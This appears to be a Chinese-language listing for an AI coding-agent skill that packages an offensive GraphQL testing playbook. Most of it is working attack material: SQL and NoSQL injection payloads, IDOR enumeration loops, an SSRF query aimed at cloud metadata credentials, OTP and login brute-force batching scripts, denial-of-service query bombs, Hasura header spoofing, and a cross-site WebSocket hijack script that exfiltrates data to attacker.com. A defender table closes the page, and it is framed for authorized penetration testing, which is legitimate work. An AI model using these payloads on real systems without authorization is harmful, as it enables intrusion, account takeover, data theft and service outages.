关于 offensive-graphql
用于授权 GraphQL 安全评估的技能,涵盖端点发现、Schema 重建、访问控制测试、注入、批处理、资源耗尽与订阅。
主要功能
- 01端点发现与指纹识别
- 02Schema 内省与重建
- 03认证和授权测试
- 04Resolver 注入测试
- 05批处理与限速评估
- 06订阅及拒绝服务测试
适用场景
- 01绘制暴露的 GraphQL API 攻击面
- 02检查嵌套字段的访问控制缺口
- 03测试 Resolver 参数注入风险
- 04评估批处理和查询资源限制
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-graphql安装后在 Claude Code 中输入/offensive-graphql确认已加载。
详细介绍
GraphQL 攻击
GraphQL 将整个 API 表面整合到单个端点后,使其成为 Web 应用评估中的高价值目标。与每个路由对应一个独立资源的 REST 不同,GraphQL schema 会在一个可查询结构中公开所有类型、字段、mutation 和 subscription。攻击者一旦获取或重建该 schema,就能在编写任何漏洞利用代码之前,获得应用数据模型的完整地图。本技能将通过具体查询、工具调用和攻击链模式,带你了解 GraphQL 测试的各个阶段。
快速工作流
- 发现端点——探测常见路径、检查客户端 JavaScript 包、查看 WebSocket 升级标头。
- 识别实现——使用 graphw00f 确定引擎并调整载荷。
- 导出或重建 schema——使用完整 introspection 查询;如果受阻,则通过字段建议探测或 clairvoyance 重建。
- 绘制攻击面——将 schema 输入 GraphQL Voyager 或 InQL。
- 测试身份验证和授权——使用无令牌、低权限令牌和跨用户令牌测试每个查询和 mutation。
- 通过 resolver 注入——通过参数和变量注入 SQL、NoSQL 和操作系统命令载荷。
- 滥用批处理——使用数组形式的操作进行暴力破解、绕过 OTP 和规避速率限制。
- 测试深度和复杂度——使用嵌套查询、别名扇出和循环片段。
- 探测 subscription——使用已过期或缺失令牌的 WebSocket,订阅敏感数据流。
- 通过错误窃取数据——利用详细堆栈跟踪、类型不匹配和字段建议。
- 测试文件上传——使用 multipart GraphQL 规范上传超大或恶意文件。
- 串联并提升权限——将发现组合为多步攻击路径,并提供概念验证查询。
1 -- 端点发现与指纹识别
使用最简查询正文探测常见路径。__typename 响应可确认 GraphQL 端点处于活动状态。
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .
要探测的路径:/graphql、/graphiql、/v1/graphql、/v2/graphql、/api/graphql、/graphql/console、/playground、/explorer、/query。一些服务端接受 GET 请求:
curl -s "https://target.com/graphql?query=\{__typename\}"
识别实现,以确定默认行为(introspection 状态、错误格式、批处理语法):
python3 graphw00f.py -t https://target.com/graphql
运行 graphql-cop 进行一次性配置审计——它会报告 introspection 状态、字段建议泄露、是否接受基于 GET 的查询(CSRF 风险)以及是否允许不受限制的批处理:
python3 graphql-cop.py -t https://target.com/graphql
2 -- Introspection 与盲式 Schema 重建
完整 Introspection 导出
启用 introspection 时,通过一个请求获取整个 schema。这是最有价值的侦察步骤。
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}
将结果传入 GraphQL Voyager 进行可视化探索,或在 Burp Suite 中加载 InQL——它会解析 schema,并为每个字段和 mutation 生成独立查询。
定向 __type 查询
当完整 introspection 已禁用,但 __type 查询仍然有效时(这是一种常见的配置错误:服务端屏蔽了 __schema,却忘记屏蔽 __type):
query { __type(name: "User") { name fields { name type { name kind } } } }
绕过已禁用的 Introspection
字段建议预言机。 大多数引擎在你查询不存在的字段时会返回“你是不是想找……”。提交可能的名称并收集建议:
query { __typename aaa }
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}
使用 clairvoyance 自动执行此过程:它会遍历词表、收集建议并组合出重建的 schema:
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
Apollo Sandbox。 如果目标运行 Apollo Server v3+,请在浏览器中访问该端点。即使生产环境开关已关闭,Apollo Sandbox 也会在客户端执行 introspection。如果服务端已在 Apollo Studio 中注册,请检查其中的 explorer。
客户端包。 在 JS 文件中搜索查询字符串、片段定义和类型名称:
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'
3 -- 身份验证与授权绕过
授权漏洞普遍存在,因为开发者必须在每个 resolver 中手动实现字段级检查。嵌套字段上只要漏掉一项检查,就可能暴露整个对象图。
通过 Relay 节点 ID 发起 IDOR 攻击
Relay 提供了一个全局 node 接口,可通过不透明的 Base64 编码 ID(Type:numericID)解析任意对象:
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123
为其他用户伪造 ID,并通过 node 接口进行查询:
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}
按顺序枚举:
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
嵌套对象授权缺口
在顶层查询中实施的授权通常不会延续到嵌套关系。访问自己的 Order,然后检查 customer 字段是否会遍历到其他用户的数据:
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}
myOrders 解析器会根据你的 ID 筛选,但 Order 上的 customer 解析器可能会在未经所有权检查的情况下预加载关联用户。
Relay 分页与游标操纵
解码不透明游标(通常是偏移量的 Base64 编码),并操纵其值。如果游标解码为 cursor:999,则将其设为 cursor:0,以访问从头开始的记录:
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}
Mutation 授权
使用无令牌、低权限令牌和跨租户令牌测试每个会改变状态的 mutation:
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }
4 -- 通过解析器注入
变量和参数会直接传递给解析器函数。解析器中的字符串拼接会造成经典的注入入口。
通过变量进行 SQL 注入
query GetUser($name: String!) { user(name: $name) { id email } }
{"name": "admin' OR 1=1 --"}
通过基于 UNION 的注入提升攻击效果:
{"name": "' UNION SELECT username, password FROM admin_users --"}
NoSQL 注入
针对使用 MongoDB 的解析器:
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}
基于时间的检测:
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
指令注入与泛洪
指令泛洪——向单个字段附加数千个 @include(if: true) 指令——会导致解析器崩溃(async-graphql 中的 CVE-2024-47614):
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }
以编程方式生成包含 10,000 个指令的载荷。自定义 @auth 或 @constraint 指令也可能接受可操纵的参数,以覆盖服务器端行为。
通过解析器参数进行 SSRF
如果 mutation 接受 URL 参数(如 Webhook、头像、导入),请测试 SSRF:
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }
5 -- 批处理攻击
GraphQL 服务通常允许在单个 HTTP 请求中传入一组操作。后端速率限制器通常统计 HTTP 请求,而非批次中的单个操作,因此可利用这一点实施强力绕过攻击。
凭证暴力破解
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]
单个 HTTP 请求可携带数百次登录尝试。速率限制器只会看到一个请求。
OTP / 2FA 绕过
分批提交所有可能的 4 位 OTP 值:
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")
基于别名的批处理
某些服务会拒绝数组批处理,但允许在单个查询中使用别名进行批处理:
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}
使用 BatchQL 和 CrackQL 自动化:
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500
6 -- 拒绝服务
除非服务器实施严格的成本控制,否则 GraphQL 灵活的查询语言本质上容易受到资源耗尽攻击。
深度炸弹
利用循环关系。如果 User 的 friends 返回 [User],就无限嵌套——对每个有 100 位好友的用户进行 8 层嵌套,会触发 100^8 次解析器调用:
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}
别名放大
使用别名数千次请求同一个高开销字段。每个别名都会独立调用解析器:
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}
循环片段展开
较旧的实现可能无法检测循环引用,从而导致无限递归:
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
滥用增量传输
如果服务器支持 @defer 和 @stream,可将它们附加到高开销子树,以保持连接打开并增加计算负载:
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}
7 -- 滥用订阅与劫持 WebSocket
订阅通过 WebSocket 使用 graphql-ws 或较旧的 subscriptions-transport-ws 协议运行。这些长连接构成了独特的攻击面。
未经身份验证的订阅
在 connection_init 载荷中不提供身份验证信息即可连接,然后进行订阅:
{"type": "connection_init", "payload": {}}
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}
如果服务器不验证 connection_init,你就会收到所有新订单的实时事件。
长连接上的令牌过期
WebSocket 连接在初始握手后会持续存在。如果服务器仅在 connection_init 期间验证 JWT,那么令牌即使在会话中途过期,在连接的整个生命周期内仍然有效。使用短时令牌连接,等待令牌过期,然后发送新的订阅,以此进行测试。
跨站 WebSocket 劫持(CSWSH)
如果 WebSocket 端点依赖 Cookie 且不验证 Origin 标头,可从恶意页面劫持连接:
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>
8 -- 信息泄露与文件上传
详细错误消息
GraphQL 引擎通常会在错误中返回实现细节。发送类型不匹配的参数以触发堆栈跟踪:
{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}
这会泄露数据库驱动程序(通过 pg 使用 PostgreSQL)、文件路径和行号。
将字段建议用作架构探测器
即使禁用了内省,也可以迭代尝试不同前缀,通过“Did you mean”响应重建架构:
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"
Hasura 和 Apollo 专属泄露
Hasura —— 如果未强制使用管理员密钥,则测试注入 x-hasura-role 和 x-hasura-user-id 标头:
curl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'
Apollo Federation —— 查询 _service 字段以获取子图的完整 SDL:
query { _service { sdl } }
通过 Multipart GraphQL 上传文件
Multipart 请求规范支持通过变更上传文件。测试路径遍历、未限制的文件类型和超大文件上传:
curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F [email protected]
攻击向量:通过操纵 map JSON 路径进行路径遍历;信任内容类型(上传 .php/.jsp 文件,并检查是否验证魔数);上传数 GB 的文件以测试大小限制;以及可能在处理前可通过 Web 访问的可预测临时文件路径。
检测 / 防御者视角
| 攻击类别 | 检测 / 防护 |
|---|---|
| 滥用内省 | 在生产环境中禁用(introspection: false)。监控查询日志中的 __schema 和 __type。 |
| 字段建议探测器 | 禁用建议(Apollo:使用自定义插件移除建议;Yoga:使用 maskedErrors)。 |
| 通过节点 ID 实施 IDOR | 在每个解析器中强制执行所有权检查。使用 UUID 而非递增 ID。 |
| 嵌套授权缺口 | 使用架构级授权指令(@auth、@hasRole)。在每个解析器中检查,而不只是顶层。 |
| SQL / NoSQL 注入 | 仅使用参数化查询。绝不拼接用户输入。 |
| 批量暴力破解 | 限制批次大小(最多 5 个操作)。按操作数量而非 HTTP 请求数量进行速率限制。 |
| 别名放大 | 限制别名数量。进行查询成本分析(graphql-query-complexity、GraphQL Armor)。 |
| 深度炸弹 | 将查询最大深度设为 7-10(graphql-depth-limit、GraphQL Armor)。 |
| 订阅劫持 | 在每次 connection_init 时验证身份验证信息,定期重新验证令牌,并强制执行 Origin 检查。 |
| 详细错误 | 在生产环境中使用通用错误消息。移除堆栈跟踪和路径。 |
| 滥用文件上传 | 根据魔数进行验证,强制执行大小限制,将文件存储在 Web 根目录之外,并重新编码图像。 |
| CSRF | 要求使用 Content-Type: application/json。拒绝基于 GET 的变更。验证 Origin。 |
关键加固工具:GraphQL Armor(为 Apollo/Yoga/Envelop 提供深度、别名、成本和字符数限制)、持久化查询(将已知操作加入允许列表,通过带有签名强制校验的 APQ 拒绝临时查询),以及能够解析 JSON 正文并检查 query 字段、而非仅检查 URL 参数的 WAF 规则。
测试速查表
RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secret
关键参考资料
- GraphQL 规范:https://spec.graphql.org/
- GraphQL multipart request 规范:https://github.com/jaydenseric/graphql-multipart-request-spec
- InQL(Burp 扩展):https://github.com/doyensec/inql
- graphql-cop(安全审计工具):https://github.com/dolevf/graphql-cop
- CrackQL(批处理/暴力破解):https://github.com/nicholasaleks/CrackQL
- BatchQL(批量查询工具):https://github.com/assetnote/batchql
- clairvoyance(架构重建):https://github.com/nikitastupin/clairvoyance
- graphw00f(指纹识别):https://github.com/dolevf/graphw00f
- GraphQL Voyager(可视化):https://graphql-kit.com/graphql-voyager/
- Altair GraphQL Client:https://altairgraphql.dev/
- GraphQL Armor(加固):https://github.com/Escape-Technologies/graphql-armor
- OWASP GraphQL 备忘单:https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- HackTricks GraphQL:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html
- Damn Vulnerable GraphQL Application:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application